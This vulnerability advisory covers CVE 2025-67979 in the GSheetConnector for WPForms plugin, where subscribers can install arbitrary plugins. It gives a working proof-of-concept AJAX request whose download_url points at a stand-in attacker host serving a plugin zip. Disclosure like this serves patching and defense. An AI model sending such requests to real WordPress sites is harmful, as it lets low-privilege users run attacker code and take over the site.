GSheetConnector For WPForms < 4.0.2 – Subscriber+ Arbitrary Plugin Installation | CVE 2025-67979

Description

The plugin is vulnerable does not have authorization in an AJAX action, allowing any authenticated attackers, such as Subscriber, to install arbitrary plugins

Proof of Concept

As a subscriber, login and go to wp-admin/admin.php?page=wpform-google-sheet-config&tab=extensions, then grab the nonce from the gscwpform_ajax_nonce input

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 131
Connection: keep-alive
Cookie: <subscriber cookies>

action=gscwpform_install_plugin&security=<NONCE>&plugin_slug=a&download_url=https://attacker.com/plugin.zip